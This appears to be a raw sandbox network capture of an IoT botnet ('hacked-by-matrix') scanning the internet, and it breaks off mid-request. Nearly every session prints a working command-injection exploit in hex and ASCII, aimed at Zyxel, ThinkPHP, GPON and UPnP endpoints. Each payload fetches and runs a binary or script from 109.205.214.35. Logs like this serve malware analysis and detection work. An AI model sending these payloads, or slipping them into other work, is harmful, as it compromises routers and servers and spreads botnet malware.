Mar 21, 2024 05:17:58.661062956 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:58.846919060 CET	106	IN	HTTP/1.1 302 Found Location: https://127.0.0.1:443/cgi-bin/ViewLog.asp Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.13	52612	83.212.76.150	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.665416956 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:58.878663063 CET	401	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:17:58 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive X-Xss-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:58.878684044 CET	402	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:58 GMT Content-Type: text/html Content-Length: 150 Connection: close X-Xss-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.13	33256	181.41.215.207	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:59.116815090 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.13	58420	88.99.216.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:59.335036993 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:59.528147936 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.13	50234	54.87.106.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:59.547012091 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:59.646034002 CET	451	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:59 GMT Server: Apache/2.4.58 (Amazon) OpenSSL/1.0.2k-fips PHP/5.6.40 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.13	43936	18.171.187.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:59.821027040 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:59.987585068 CET	190	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.13	53272	81.84.254.41	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:59.843945980 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:00.439030886 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:00.634954929 CET	26	IN	HTTP/1.1 400 Bad Request
Mar 21, 2024 05:18:00.643872023 CET	25	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-cache
Mar 21, 2024 05:18:00.643893003 CET	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
Mar 21, 2024 05:18:00.644011974 CET	29	IN	Data Raw: 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a Data Ascii: X-Frame-Options: SAMEORIGIN
Mar 21, 2024 05:18:00.644026041 CET	33	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a Data Ascii: X-Content-Type-Options: nosniff
Mar 21, 2024 05:18:00.644059896 CET	33	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a Data Ascii: X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.13	42774	37.227.183.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.762619972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.13	38800	37.124.20.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.762619972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.13	46390	79.172.117.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.762619972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.13	32940	210.198.161.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.762661934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.13	36568	94.54.35.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.762664080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.13	52442	5.118.165.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.762810946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.13	53308	5.1.241.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.762855053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.13	46584	45.195.116.151	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:01.964665890 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:02.838939905 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping 